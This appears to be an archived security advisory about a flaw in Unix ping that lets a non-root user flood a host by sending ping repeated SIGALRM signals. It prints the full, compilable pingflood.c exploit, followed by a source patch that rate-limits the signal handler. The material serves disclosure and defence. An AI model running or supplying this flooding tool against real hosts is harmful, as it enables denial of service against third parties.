COMMAND

    ping

SYSTEMS AFFECTED

    RedHat 4.1, 5.0, Debian, OpenBSD, SunOS 5.5.1, etc

PROBLEM

    AntireZ posted  following.   pingflood.c allows  non-root users to
    'ping  flood'.   When  ping   runs  it  normally  sends  an   ICMP
    ECHO_REQUEST every second.   It accomplishes this using  the alarm
    system call  and waiting  for a  SIGALRM signal  from the  kernel.
    Pingflood  simply  sends  a  lot  of  SIGALRM  signals to the ping
    process.  It can do this because the ping process is owned by  the
    user.  Basically, it is so simple that it should work on any  Unix
    box. The "bug" in ping's code is that the code naively assumes the
    SIGALRM is system-generated (due to a previous alarm() call).   At
    least on  SunOS 5.5.1,  sigaction(2) can  be used  to examine  the
    source of  the SIGALRM  is returned  to the  signal handler if the
    sa_flags member of the struct sigaction passed to sigaction()  has
    the SA_SIGINFO bit set).  Code follows:

    /*

        pingflood.c by (AntireZ) Salvatore Sanfilippo <md5330@mclink.it>
        enhanced by David Welton <davidw@cks.com>

        This  program  is  free  software;  you can redistribute it and/or
        modify it  under the  terms of  the GNU  General Public License as
        published  by  the  Free  Software  Foundation;  version  2 of the
        License.

        ------------------------------------------------------------------

        use it as follows:

            pingflood <hostname>

        WARNING: this program is only for demonstrative use only. USE IT AT
        YOUR OWN RISK! The  authors decline all responsibility  for damage
        caused by misuse of the program.

        ***    if you use  this program to  cause harm to  others, you are
                                    very small, petty and pathetic.    ***

        to compile:

            gcc -o pingflood pingflood.c

        */

    #include <signal.h>

    #define PING "/bin/ping"

    main( int argc, char *argv[] )
    {
      int pid_ping;

      if (argc < 2) {
        printf("use: %s <hostname>\n", argv[0]);
        exit(0);
      }

      if(!(pid_ping = fork()))
        execl(PING, "ping", argv[1], NULL);

      if ( pid_ping <=0 ) {
        printf("pid <= 0\n");
        exit(1);
      }

      sleep (1);  /* give it a second to start going  */
      while (1)
        if ( kill(pid_ping, SIGALRM) )
          exit(1);
    }

    Unfortunately,  many  setuid  programs  are  there that will catch
    various signals and will behave "not-as-expected" when forked  off
    by a signal-bomber parent process, such as pingflood.

SOLUTION

    The correct  solution is  to either  check that  the sigalrm isn't
    early, or to check who sent the signal. The former has been  done,
    the latter needs a bit of kernel support...

    Here's a fix Solar Designer did, for ping from Linux's NetKit 0.09
    nothing  complicated.   Note:  this  may  be  weird way since just
    doing a setuid() would also  make it impossible for users  to kill
    their ping processes (with SIGTERM):

    --- ping.c.orig Sun Dec 29 19:13:01 1996
    +++ ping.c      Mon May 18 14:09:03 1998
    @@ -64,6 +64,7 @@
     #include <sys/socket.h>
     #include <sys/file.h>
     #include <sys/time.h>
    +#include <sys/times.h>
     #include <sys/signal.h>

     #include <netinet/in.h>
    @@ -270,6 +271,11 @@
                            options |= F_SO_DONTROUTE;
                            break;
                    case 's':               /* size of packet to send */
    +                       if (!am_i_root) {
    +                               (void)fprintf(stderr,
    +                                   "ping: %s\n", strerror(EPERM));
    +                               exit(2);
    +                       }
                            datalen = atoi(optarg);
                            if (datalen > MAXPACKET) {
                                    (void)fprintf(stderr,
    @@ -488,12 +494,22 @@
      * quality of the delay and loss statistics.
      */
     static void
    -catcher(int ignore)
    +catcher(int signum)
     {
    +       struct tms buf;
    +       clock_t current;
    +       static clock_t last = 0;
            int waittime;

    -       (void)ignore;
    -       pinger();
    +       if (signum) {
    +               current = times(&buf);
    +               if (current - last >= CLK_TCK - 1 || current < last) {
    +                       last = current;
    +                       pinger();
    +               }
    +       } else
    +               pinger();
    +
            (void)signal(SIGALRM, catcher);
            if (!npackets || ntransmitted < npackets)
                    alarm((u_int)interval);